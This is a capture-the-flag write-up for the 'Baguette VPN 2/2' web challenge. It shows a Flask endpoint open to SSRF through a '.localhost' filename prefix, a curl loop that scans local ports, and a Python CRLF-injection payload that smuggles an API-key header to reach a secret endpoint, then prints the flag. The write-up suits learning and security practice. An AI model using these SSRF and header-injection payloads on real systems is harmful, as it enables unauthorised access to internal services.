Writeup by naacbin for Baguette VPN 2/2

web python

November 7, 2023

Table of contents

Solution

Inspecting the file baguettevpn_server_app_v0.py we found the following part in the script

@app.route("/api/image")
def image():
    filename = request.args.get("fn")
    if filename:
        http = urllib3.PoolManager()
        return http.request('GET', 'http://baguette-vpn-cdn' + filename).data
    else:
        return Response('Paramètre manquant', status=400)

@app.route("/api/secret")
def admin():
    if request.remote_addr == '127.0.0.1':
        if request.headers.get('X-API-KEY') == 'b99cc420eb25205168e83190bae48a12':
            return jsonify({"secret": os.getenv('FLAG')})
        return Response('Interdit: mauvaise clé d\'API', status=403)
    return Response('Interdit: mauvaise adresse IP', status=403)

The http.request seems vulnerable to SSRF by having .localhost as filename. We used a bash loop to get the local ports listening.

for i in {0..2000}; do curl http://localhost:8000/api/image?fn=.localhost:$i/api/secret; echo $i; done

We found the port 1337 : curl http://localhost:8000/api/image?fn=.localhost:1337/api/secret. However we get an error Interdit: mauvaise clé d'API. Now, we need to inject X-API-KEY header to the backend.

CRLF injection of header: https://bugs.python.org/issue36276

import requests

host = "localhost:8000/api/image?fn=.localhost:1337/api/secret"
payload = " HTTP/1.1\r\nX-API-KEY: b99cc420eb25205168e83190bae48a12\r\nlocalhost:1337"
url = "http://" + host + payload
r = requests.get(url)
print(r.text)

Flag

FCSC{6e86560231bae31b04948823e8d56fac5f1704aaeecf72b0c03bfe742d59fdfb}